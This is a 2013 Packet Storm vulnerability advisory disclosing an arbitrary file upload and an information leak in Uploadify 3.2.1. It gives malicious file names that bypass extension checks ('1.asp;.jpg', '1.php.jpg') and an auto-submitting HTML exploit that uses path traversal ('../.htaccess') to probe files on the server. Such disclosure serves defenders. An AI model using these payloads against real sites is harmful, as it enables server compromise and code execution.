Uploadify 3.2.1 Shell Upload / Information Disclosure

2013-10-25T00:00:00
ID PACKETSTORM:123777
Type packetstorm
Reporter MustLive
Modified 2013-10-25T00:00:00

Description

                                        
                                            `Hello list!  
  
These are Arbitrary File Uploading and Information Leakage vulnerabilities   
in Uploadify. The same as in June with previous vulnerabilities in   
Uploadify, in September the developers just ignored my warnings, even I sent   
letter to multiple their e-mail addresses.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are Uploadify v3.2.1 and previous versions.  
  
-------------------------  
Affected vendors:  
-------------------------  
  
Reactive Apps  
http://www.uploadify.com  
  
----------  
Details:  
----------  
  
Arbitrary File Uploading (WASC-31):  
  
Code Execution attack via file uploading. There are two methods of code   
execution: by using of symbol ";" (1.asp;.jpg) in file name (IIS) and by   
double extension (1.php.jpg) (Apache with special configuration).  
  
Information Leakage (WASC-13):  
  
Checking arbitrary file existence at the server.  
  
Uploadify IL.html  
  
<html>  
<head>  
<title>Uploadify Information Leakage exploit (C) 2013 MustLive.   
http://websecurity.com.ua</title>  
</head>  
<body onLoad="document.hack.submit()">  
<form name="hack" action="http://site/uploadify/check-exists.php"   
method="post">  
<input type="hidden" name="filename" value="../.htaccess">  
</form>  
</body>  
</html>  
  
------------  
Timeline:  
------------   
  
2013.09.20 - announced at my site.  
2013.09.21 - informed developers on multiple e-mails.  
2013.10.24 - disclosed at my site (http://websecurity.com.ua/6777/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
`